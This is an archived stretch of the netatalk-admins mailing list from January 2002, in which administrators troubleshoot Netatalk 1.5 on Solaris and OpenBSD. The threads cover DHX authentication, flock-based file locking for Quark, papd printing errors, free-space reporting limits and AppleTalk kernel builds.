> > > > We would like to thank all contributors to the Netatalk project for
> > > > their commitment. Without the many suggestions, bug and problem
> > reports,
> > > > patches, and reviews this project wouldn't be where it is.
> > > >
> > > >  - The Netatalk Development Team, New Year's Eve 2001
> >
> > --
> > Xiaping Lin
> > Information Technology
> > Queensland Institute of Medical Research
> > E-mail: xiapingL@qimr.edu.au
> > Ph:    61-7-33620231
> > fax:   61-7-33620111
> >
> >
> >





From netatalk.administrators-errors@umich.edu  Sun Jan  6 23:14:41 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA28331
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 6 Jan 2002 23:14:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA14801
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 6 Jan 2002 23:14:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA14798
	for netatalk.administrators-members@umich.edu; Sun, 6 Jan 2002 23:14:40 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA14754
	for <netatalk-admins@umich.edu>; Sun, 6 Jan 2002 23:14:34 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id OAA18934
	for <netatalk-admins@umich.edu>; Mon, 7 Jan 2002 14:13:05 +1000 (EST)
Message-ID: <3C39216C.4F575FDD@qimr.edu.au>
Date: Mon, 07 Jan 2002 14:17:49 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Netatalk 1.5 Success was Re: Netatalk on 64-bit Solaris with GCC ...
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,
Just to let everyone know that regardless following error(setsockopt ....) occurs in
/var/adm/messages
when starting atalkd, the new version 1.5 that I compiled with 64-bit gcc does NOT
have problem of
not appearing in Chooser! I have tested on a few Macs. I don't need the cron job any
more!!
Thanks again everyone.

Here is another question:
Why uams_dhx.so does not work ?
I did not specify "--with-shadow" during configuration, would is be the reason DHX
authentication does not work?
It seems that if both uams_clrtxt.so and uams_dhx.so are listed in afpd.conf,
MacOS7.x machines pickups
clear_text password method to authenticate, but MacOS9 pick up uams_dhx.so for
password authentication, but did not work in my case.
I would like to get DHX authentication working for both MacOS7.x and MacOS9
machines. Is this possible?

Cheers!

Xiaping Lin wrote:

> Hi,
> My sincere gratitude to Celeste Suliin Burris, Joe Clarke and Steve Freitas for
> the help on compiling
> Netatalk1.5 on 64-bit Solaris machine. I have succefully compiled 64-bit gcc and
> ddp and Netatalk1.5.
> But to my horror, the same error messages shows up when I start the new atalkd
> (v1.5):
>
> Jan  3 21:18:48  atalkd[29352]: [ID 441591 user.info] plumbed /dev/ge0
> Jan  3 21:18:48  atalkd[29353]: [ID 602610 daemon.info] restart (1.5.0)
> Jan  3 21:18:48  atalkd[29353]: [ID 430690 daemon.info] setsockopt incompatible
> w/ Solaris STREAMS module.
> Jan  3 21:18:50  last message repeated 1 time
> Jan  3 21:18:50  atalkd[29353]: [ID 875075 daemon.info] zip_getnetinfo for ge0
> Jan  3 21:19:08  last message repeated 2 times
> Jan  3 21:19:18  atalkd[29353]: [ID 877925 daemon.info] config for no router
> Jan  3 21:19:20  atalkd[29353]: [ID 430690 daemon.info] setsockopt incompatible
> w/ Solaris STREAMS module.
> Jan  3 21:19:20  atalkd[29353]: [ID 128247 daemon.info] ready 0/0/0
> Jan  3 21:19:32  papd[29364]: [ID 602610 lpr.info] restart (1.5.0)
>
> I am afraid that the same problem(server not showing in Chooser) happens to the
> new version, although
> I have not yet confirm this, since I do not have access to a Mac at that time.
> At present, my workaround
> is to have a cron job running "nbplkup" on the SUN Netalalk server every minute
> to force it stay up in all
> mac's Chooser. From a mac, I can connect to the server by IP, but most Macs here
> don't have that option
> in Chooser.
>
> I have seen some talk about the setsockopt patch, such as the e-mail below:
>
> http://www.mtusysadm.mtu.edu/mtudocs/netatalk/netatalk-combo.html
>
> But don't know if the patch has already been considered in the new version. Is
> there any patch that I should apply?
>
> My platform for Netatalk server is : Sun e420 Enterprise Solaris8
>
> Any tips on how to fix above error?
>
> Thanks everyone!
>
> Xiaping
>


From netatalk.administrators-errors@umich.edu  Mon Jan  7 02:21:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA04928
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 7 Jan 2002 02:21:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA18817
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 7 Jan 2002 02:21:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA18811
	for netatalk.administrators-members@umich.edu; Mon, 7 Jan 2002 02:21:13 -0500 (EST)
Received: from mta1-rme.xtra.co.nz (mta1-rme.xtra.co.nz [210.86.15.129])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA18784
	for <netatalk-admins@umich.edu>; Mon, 7 Jan 2002 02:21:11 -0500 (EST)
Received: from [192.168.1.113] ([210.86.49.55]) by mta1-rme.xtra.co.nz
          with ESMTP
          id <20020107072105.JBIE7478.mta1-rme.xtra.co.nz@[192.168.1.113]>;
          Mon, 7 Jan 2002 20:21:05 +1300
Mime-Version: 1.0
X-Sender: mrad01@pop3.xtra.co.nz
Message-Id: <p05101000b85efaacf782@[192.168.1.113]>
Date: Mon, 7 Jan 2002 20:21:01 +1300
To: netatalk-devel@lists.sourceforge.net
From: marcus <marcus@darena.co.nz>
Subject: Re: Why flock-locks?
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

The with-flock-locks uses what asun calls - the 'old style' file 
locking code. If you don't include it, Quark will throw up "File in 
Use" error messages when saving/closing and re-opening a file from 
time to time. With with-flock-locks, Quark *NEVER* complains. (I look 
after 25+ Server with heavy Quark users - so I have a lot of 
experience with this!!)
Quark is the only app which is affects (and some early versions of 
Clarisworks...v4  I think)

I will have a look to see how it works with netatalk-1.5 - maybe 
something during the code cleanup has *fixed* it.

Marcus


>I can't honestly give you a good reason other than I've used it for quite
>a long time and it appears to help with some Quark-specific issues.
>
>-Dan
>
>On Sun, 6 Jan 2002, Thomas Schierle wrote:

>  On 2002-01-05 21:24 +0100, Daniel E. Lautenschleger wrote:
>
>  > I would also include the --with-flock-locks. I'm not sure why the netatalk
>  > file is not making it into /etc/pam.d. This happened for me awhile back
>  > but it was fixed.
>
>  Could you please elaborate the benefits of flock-locks?
>
>  For my usage, byte range locking seems to be up to par to
>  flock-locks (Linux 2.4.x kernel), therefore I'm wondering why
>  the old locking scheme (which has had the "benefit" not to
>  do anything when running on old kernels) gets still propagated.
>
-- 
========================================================

"Always ask the question, never assume the answer."
		Marcus Radich 1999

========================================================


From netatalk.administrators-errors@umich.edu  Mon Jan  7 02:31:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA05365
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 7 Jan 2002 02:31:12 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA08315
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 7 Jan 2002 02:31:12 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA08304
	for netatalk.administrators-members@umich.edu; Mon, 7 Jan 2002 02:31:11 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA08273
	for <netatalk-admins@umich.edu>; Mon, 7 Jan 2002 02:31:09 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA17760;
	Mon, 7 Jan 2002 08:55:18 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 07 Jan 2002 08:30:20 +0100
Subject: Re: Netatalk 1.5 Success
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Xiaping Lin <xiapingL@qimr.edu.au>, <netatalk-admins@umich.edu>
Message-ID: <B85F0D1B.17182%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C39216C.4F575FDD@qimr.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id CAA05365

On Mon, 07 Jan 2002 14:17:49 +1000, Xiaping Lin wrote:

> Why uams_dhx.so does not work ?

Please post the relevant lines from your messages when you startup afpd.

> [...]
> It seems that if both uams_clrtxt.so and uams_dhx.so are listed in afpd.conf,
> MacOS7.x machines pickups clear_text password method to authenticate, but
> MacOS9 pick up uams_dhx.so for password authentication,

When you connect to an AFP server the client gets a list of possible UAMs
(User Authentication Modules). He compares the server's list with the ones,
he is able to handle (either builtin or via third-party modules in
SystemFolder) and tries to choose the best match.

DHX Authentication worked the first time with AppleShare Client 3.8.1 (see
<http://docs.info.apple.com/article.html?artnum=58373>) but with MacOS up to
7.5.3 you can only use 3.7.x. So you should upgrade to OS 7.6.1 and choose
3.8.3 (to avoid some problems with 3.8.1 and server aliases). Look at this
overview to find out, which AppleShare client to use with which OS version:
<http://docs.info.apple.com/article.html?artnum=60792>

> but did not work in my case.

Do you have a MacOS X box around? As Leland wrote once before, you can turn
on debugging output that helps in situations like these, too:

| On Thu, 15 Nov 2001 09:33:21 -0800, Leland Wallace wrote:
| 
| > From the terminal in Mac OS X type:
| > setenv AFP_DEBUG_LEVEL 8
| > mkdir /Volumes/volname
| > /sbin/mount -t afp afp://username:password@servername/volume \
| >     /Volumes/volname
| >
| > replacing username, password, servername, volume, and volname with your
| > local names

This will give you probably some hints, what's happening...

> I would like to get DHX authentication working for both MacOS7.x and MacOS9
> machines. Is this possible?

If you upgrade the MacOS 7.x machines to 7.6.1 and their AppleShare Client
to 3.8.3 then it should.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Jan  7 11:29:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA26038
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 7 Jan 2002 11:29:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA28958
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 7 Jan 2002 11:29:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA28949
	for netatalk.administrators-members@umich.edu; Mon, 7 Jan 2002 11:29:44 -0500 (EST)
Received: from agby.vanhegan.net (agby.vanhegan.net [194.247.35.50])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA28741
	for <netatalk-admins@umich.edu>; Mon, 7 Jan 2002 11:29:36 -0500 (EST)
Received: from [192.168.0.102] (porter.home.chrispyfur.net [62.128.218.125])
	by agby.vanhegan.net (8.11.0/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP id g07GTHk22340
	for <netatalk-admins@umich.edu>; Mon, 7 Jan 2002 16:29:18 GMT
X-Authentication-Warning: agby.vanhegan.net: Host porter.home.chrispyfur.net [62.128.218.125] claimed to be [192.168.0.102]
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Mon, 07 Jan 2002 16:29:08 +0000
Subject: OpenBSD Netatalk and Mac OS X
From: Chris Tebb <chris@chrispyfur.net>
To: <netatalk-admins@umich.edu>
Message-ID: <B85F7D54.2992%chris@chrispyfur.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,
        I have been a Netetalk user under Linux for a while now, and
remember some problems with mac os X and the server not correctly listing
the contents of a directory to clients.
This time, under openbsd3, running mac OS X 10.2.2, it lists some files, not
others, and will not let me write to a drive I have permission to wrote to
(Error code -37)

All the permissions are set to rwxrwxrwx on all files and folders, including
the root folder it is sharing from.
My config files are:-

 cat /etc/netatalk/atalkd.conf
xl0 -phase 2 -net 1-65534 -addr 65280.48
bash-2.05a$ 


cat /etc/netatalk/AppleVolumes.default
# This file looks empty when viewed with "vi".  In fact, there is one
# '~', so users with no AppleVolumes file in their home directory get
# their home directory by default.
~
/home/share "Share"

Does anyone know what I'm doing wrong? Are there some special options for
mac Os X?

Thanks,
        chris.


Chrispyfur.net - :)



From netatalk.administrators-errors@umich.edu  Mon Jan  7 11:30:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA26135
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 7 Jan 2002 11:30:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA07084
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 7 Jan 2002 11:30:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA07064
	for netatalk.administrators-members@umich.edu; Mon, 7 Jan 2002 11:30:00 -0500 (EST)
Received: from agby.vanhegan.net (agby.vanhegan.net [194.247.35.50])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA06928
	for <netatalk-admins@umich.edu>; Mon, 7 Jan 2002 11:29:53 -0500 (EST)
Received: from [192.168.0.102] (porter.home.chrispyfur.net [62.128.218.125])
	by agby.vanhegan.net (8.11.0/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP id g07GTnk22345
	for <netatalk-admins@umich.edu>; Mon, 7 Jan 2002 16:29:49 GMT
X-Authentication-Warning: agby.vanhegan.net: Host porter.home.chrispyfur.net [62.128.218.125] claimed to be [192.168.0.102]
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Mon, 07 Jan 2002 16:29:40 +0000
Subject: OpenBSD Netatalk and Mac OS X
From: Chris Tebb <chris@chrispyfur.net>
To: <netatalk-admins@umich.edu>
Message-ID: <B85F7D74.2994%chris@chrispyfur.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,
        I have been a Netetalk user under Linux for a while now, and
remember some problems with mac os X and the server not correctly listing
the contents of a directory to clients.
This time, under openbsd3, running mac OS X 10.2.2, it lists some files, not
others, and will not let me write to a drive I have permission to wrote to
(Error code -37)

All the permissions are set to rwxrwxrwx on all files and folders, including
the root folder it is sharing from.
My config files are:-

 cat /etc/netatalk/atalkd.conf
xl0 -phase 2 -net 1-65534 -addr 65280.48
bash-2.05a$ 


cat /etc/netatalk/AppleVolumes.default
# This file looks empty when viewed with "vi".  In fact, there is one
# '~', so users with no AppleVolumes file in their home directory get
# their home directory by default.
~
/home/share "Share"

Does anyone know what I'm doing wrong? Are there some special options for
mac Os X?

Thanks,
        chris.


Chrispyfur.net - :)



From netatalk.administrators-errors@umich.edu  Mon Jan  7 21:45:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA26640
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 7 Jan 2002 21:45:08 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA05920
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 7 Jan 2002 21:45:08 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA05903
	for netatalk.administrators-members@umich.edu; Mon, 7 Jan 2002 21:45:07 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA05837
	for <netatalk-admins@umich.edu>; Mon, 7 Jan 2002 21:45:05 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id MAA19686;
	Tue, 8 Jan 2002 12:42:56 +1000 (EST)
Message-ID: <3C3A5DC6.CD24F7CF@qimr.edu.au>
Date: Tue, 08 Jan 2002 12:47:34 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: netatalk-admins@umich.edu
Subject: Printing and free space error - was [Fwd: Netatalk 1.5 Success]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thanks Thomas for your reply. I will be looking at upgrading MacOS and AppleShare
client for a few Macs.

I do have 2 more questions/problems:
1)For every printing job, /var/adm/messages on Solaris 8 server display error such
as following:

Jan  8 10:00:16 papd[3285]: [ID 242679 lpr.info] child 21392 for "Printer1" from
65280.158
Jan  8 10:00:21 papd[21392]: [ID 973532 lpr.info] child 21393 done
Jan  8 10:00:21 papd[21392]: [ID 514041 lpr.error] select: Interrupted system call
Jan  8 10:00:21 papd[3285]: [ID 973532 lpr.info] child 21392 done

papd.conf for this printer is:

Printer1:\
       :pr=|/usr/bin/lp -d printer1:\
       :op=daemon:\
       :pd=/usr/local/atalk/etc/netatalk/ppd/laserjet4100.ppd

I did not set up /etc/printcap file, or should I?
I have seen previous report of this error, but cannot found answer:

http://www.umich.edu/~rsug/netatalk/archive/admins/1999/0069.html

2) Wrong used and free space displayed
df -k output:
Filesystem                  kbytes         used       avail       capacity
Mounted on
/dev/md/dsk/d3       10323610   2009106 8211268    20%      /var

/var/tmp is shared by Netatalk.
du -sk /var/tmp is 870429KB on server, but MacOS7.5.5(Appleshare client 3.6.3)
reports
zero K in disk, 1.9GB available in the header of shared volume(/var/tmp) window.
Disk usage
of sub-directories is also wrong.

Is this a bug or configuration issue?

Thanks very much!

Thomas Kaiser wrote:

> On Mon, 07 Jan 2002 14:17:49 +1000, Xiaping Lin wrote:
>
> > Why uams_dhx.so does not work ?
>
> Please post the relevant lines from your messages when you startup afpd.
>
> > [...]
> > It seems that if both uams_clrtxt.so and uams_dhx.so are listed in afpd.conf,
> > MacOS7.x machines pickups clear_text password method to authenticate, but
> > MacOS9 pick up uams_dhx.so for password authentication,
>
> When you connect to an AFP server the client gets a list of possible UAMs
> (User Authentication Modules). He compares the server's list with the ones,
> he is able to handle (either builtin or via third-party modules in
> SystemFolder) and tries to choose the best match.
>
> DHX Authentication worked the first time with AppleShare Client 3.8.1 (see
> <http://docs.info.apple.com/article.html?artnum=58373>) but with MacOS up to
> 7.5.3 you can only use 3.7.x. So you should upgrade to OS 7.6.1 and choose
> 3.8.3 (to avoid some problems with 3.8.1 and server aliases). Look at this
> overview to find out, which AppleShare client to use with which OS version:
> <http://docs.info.apple.com/article.html?artnum=60792>
>
> > but did not work in my case.
>
> Do you have a MacOS X box around? As Leland wrote once before, you can turn
> on debugging output that helps in situations like these, too:
>
> | On Thu, 15 Nov 2001 09:33:21 -0800, Leland Wallace wrote:
> |
> | > From the terminal in Mac OS X type:
> | > setenv AFP_DEBUG_LEVEL 8
> | > mkdir /Volumes/volname
> | > /sbin/mount -t afp afp://username:password@servername/volume \
> | >     /Volumes/volname
> | >
> | > replacing username, password, servername, volume, and volname with your
> | > local names
>
> This will give you probably some hints, what's happening...
>
> > I would like to get DHX authentication working for both MacOS7.x and MacOS9
> > machines. Is this possible?
>
> If you upgrade the MacOS 7.x machines to 7.6.1 and their AppleShare Client
> to 3.8.3 then it should.
>
> Regards,
>
> Thomas

--
Xiaping Lin




From netatalk.administrators-errors@umich.edu  Tue Jan  8 02:40:25 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA07523
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 Jan 2002 02:40:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA28445
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 Jan 2002 02:40:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA28435
	for netatalk.administrators-members@umich.edu; Tue, 8 Jan 2002 02:40:24 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA28410
	for <netatalk-admins@umich.edu>; Tue, 8 Jan 2002 02:40:23 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA03852;
	Tue, 8 Jan 2002 09:05:09 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 08 Jan 2002 08:40:07 +0100
Subject: Re: Printing and free space error
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Xiaping Lin <xiapingL@qimr.edu.au>
CC: <netatalk-admins@umich.edu>
Message-ID: <B86060E6.1734C%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C3A5DC6.CD24F7CF@qimr.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 08 Jan 2002 12:47:34 +1000, Xiaping Lin wrote:

> papd.conf for this printer is:
> 
> Printer1:\
> :pr=|/usr/bin/lp -d printer1:\

Does this local printer exists? What does a '/usr/bin/lpc status printer1'
say?

> :op=daemon:\
> :pd=/usr/local/atalk/etc/netatalk/ppd/laserjet4100.ppd
> 
> I did not set up /etc/printcap file, or should I?

I have no experience with Solaris' own printing system (as we are using
Helios for this purpose). But generally speaking, you should first try to
get your printers to work locally on the server (eg. printing the famous
'ghostscript tiger' -- '/usr/share/ghostscript/gsx.xx/examples/tiger.ps' or
from elsewhere on the web -- from the command line) and if that works, start
to share them.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Jan  8 04:19:31 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA10602
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 Jan 2002 04:19:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA28272
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 Jan 2002 04:19:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA28256
	for netatalk.administrators-members@umich.edu; Tue, 8 Jan 2002 04:19:30 -0500 (EST)
Received: from terapin-mine.com ([202.157.161.81])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id EAA28125
	for <netatalk-admins@umich.edu>; Tue, 8 Jan 2002 04:19:26 -0500 (EST)
Received: (qmail 10982 invoked by uid 0); 8 Jan 2002 09:19:09 -0000
Received: from unknown (HELO serialsystem.com.sg) (203.162.55.3)
  by 0 with SMTP; 8 Jan 2002 09:19:09 -0000
Message-ID: <3C3AB9F2.4000706@serialsystem.com.sg>
Date: Tue, 08 Jan 2002 16:20:50 +0700
From: Lam Quoc Thanh <tony.lam@serialsystem.com.sg>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Build a kernel powerpc support appletalk
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,
I'm trying to build a kernel powerpc support appletalk protocol. But it 
seems to have some problems. After starting  atalkd daemon, i used 
nbplkup program to search NBP name, i could see windows PC appleshare 
name but linux did not.
How can i get a document to build a kernel of powerpc to support 
appletalk protocol ?
I built kernel or netatalk wrong ?

Thanks
Tony


From netatalk.administrators-errors@umich.edu  Tue Jan  8 21:16:30 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA01346
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 Jan 2002 21:16:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA22854
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 Jan 2002 21:16:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA22838
	for netatalk.administrators-members@umich.edu; Tue, 8 Jan 2002 21:16:29 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA22766
	for <netatalk-admins@umich.edu>; Tue, 8 Jan 2002 21:16:27 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id MAA14002
	for <netatalk-admins@umich.edu>; Wed, 9 Jan 2002 12:14:54 +1000 (EST)
Message-ID: <3C3BA8C9.51BF7C@qimr.edu.au>
Date: Wed, 09 Jan 2002 12:19:53 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: [Fwd: Printing and free space error - was [Fwd: Netatalk 1.5 Success]]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thought I should post this to the list.

Xiaping Lin wrote:

> Thanks very much for this, Tony.
>
> I have tested on a volume of less than 1.9GB, it reported correct usage and available
> size.
> Interesting thing is that with over 1.9GB volume, even the used disk size was reported
> wrong,
> not just available size.
>
> Cheers!
>
> Tony Stuckey wrote:
>
> > On Tue, Jan 08, 2002 at 12:47:34PM +1000, Xiaping Lin wrote:
> > > 2) Wrong used and free space displayed
> > > df -k output:
> > > Filesystem                  kbytes         used       avail       capacity
> > > Mounted on
> > > /dev/md/dsk/d3       10323610   2009106 8211268    20%      /var
> > >
> > > /var/tmp is shared by Netatalk.
> > > du -sk /var/tmp is 870429KB on server, but MacOS7.5.5(Appleshare client 3.6.3)
> > > reports
> > > zero K in disk, 1.9GB available in the header of shared volume(/var/tmp) window.
> > > Disk usage
> > > of sub-directories is also wrong.
> > >
> > > Is this a bug or configuration issue?
> >
> >         Configuration/version issue.
> >         The Apple File Sharing Chart of Limitations explains this.  Some
> > versions of the Apple Filing Protocol only support reporting of disk size
> > up to 2GB.
> >
> > http://karchive.info.apple.com/
> >         (This document formerly was available through The Apple Technical
> > Information Library at http://til.info.apple.com.  But that seems to have
> > mutated behind my back).
> >
> >         This has also been discussed on the list in the past.  I'm
> > surprised it's not in the FAQ.
> > --
> > Anthony J. Stuckey                              stuckey@jaka.ece.uiuc.edu
> > "And they said work hard, and die suddenly, because it's fun."
> >         -Robyn Hitchcock.
>
> --
> Xiaping Lin
>

--
Xiaping Lin




From netatalk.administrators-errors@umich.edu  Wed Jan  9 06:45:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA22408
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 9 Jan 2002 06:45:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA01201
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 9 Jan 2002 06:45:59 -0500 (EST)
Received: (from daemon@localhost)
